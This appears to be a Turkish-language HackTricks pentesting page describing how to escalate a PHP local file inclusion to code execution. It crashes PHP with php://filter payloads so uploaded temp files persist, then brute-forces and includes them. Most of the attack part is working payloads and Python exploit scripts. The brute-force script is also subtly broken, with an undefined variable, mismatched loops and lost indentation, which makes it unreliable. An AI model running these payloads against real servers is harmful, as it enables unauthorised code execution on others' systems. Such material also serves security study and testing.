hacktricks/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
2024-02-10 18:14:16 +00:00

4.4 KiB
Raw Blame History

LFI2RCE via Segmentasyon Hatası

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (ikinci bölüm) ve https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view yazılarına göre, aşağıdaki payloadlar PHP'de bir segmentasyon hatasına neden olmuştur:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Bilmelisiniz ki, bir dosya içeren bir POST isteği gönderirseniz, PHP bu dosyanın içeriğiyle birlikte /tmp/php<birşey> dizininde geçici bir dosya oluşturur. Bu dosya istek işlendikten sonra otomatik olarak silinir.

Bir LFI bulursanız ve PHP'de bir segmentasyon hatası tetiklemeyi başarırsanız, geçici dosya asla silinmez. Bu nedenle, LFI zafiyetiyle bu dosyayı bulabilir ve keyfi kodu çalıştırabilirsiniz.

Test için https://hub.docker.com/r/easyengine/php7.0 docker imajını kullanabilirsiniz.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları: